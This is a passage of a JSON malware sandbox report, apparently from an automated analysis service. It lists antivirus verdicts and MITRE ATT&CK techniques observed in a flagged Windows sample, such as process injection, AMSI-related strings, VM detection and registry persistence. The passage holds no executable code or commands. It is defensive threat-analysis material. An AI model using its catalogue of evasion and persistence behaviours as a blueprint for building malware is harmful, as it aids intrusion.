SMD","success":true,"verdict":"malicious","threat_name":"Malware_43.8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Downloader.Delf.Win32.64725","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"MSIL/HackKMS_AGeneric.P potentially unsafe application","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Executes echo command"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"},{"type":"informative","value":"Contains ability to receive remote commands (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands from session history (Powershell command string)"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Executes Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Executes WMI queries known to be used for VM detection"},{"type":"informative","value":"Executes WMI queries"},{"type":"informative","value":"Contains ability to call WMI method (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve type of COM object"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains ability to start services (Powershell command string)"},{"type":"informative","value":"Contains ability to execute windows services"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"malicious","value":"Found an indicator for a scheduled task trigger"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"informative","value":"Launches a VBS file"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"informative","value":"Tries to save executable or command in registry"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","identifiers":[{"type":"malicious","value":"References security related windows services"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"},{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Contains ability to load content from specified source"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to delete a property and its value from an item (Powershell command string)"},{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"},{"type":"informative","value":"Contains ability to modify PowerShell execution policies (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"Modifies the open verb of a shell class"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"malicious","value":"Drops executable files to the Windows system directory"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Uses REG.EXE to query registry keys"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve event logs (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to gather system environment details"},{"type":"informative","value":"Contains ability to gather system information (Dotnet)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Tries to check installed antivirus"},{"type":"informative","value":"Contains ability to retrieve instances of WMI objects (Powershell command string)"},{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"malicious","value":"Tries to identify its external IP address"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Contains ability to retrieve TCP/IP network configuration"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Searches for patterns in files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"malicious","value":"Tries to gather information about running processes on a system"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Contains ability to enumerate system services using Tasklist"},{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Contains the ability to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Contains ability to check internet connectivity"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Contains ability to copy files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Collection","technique":"Email 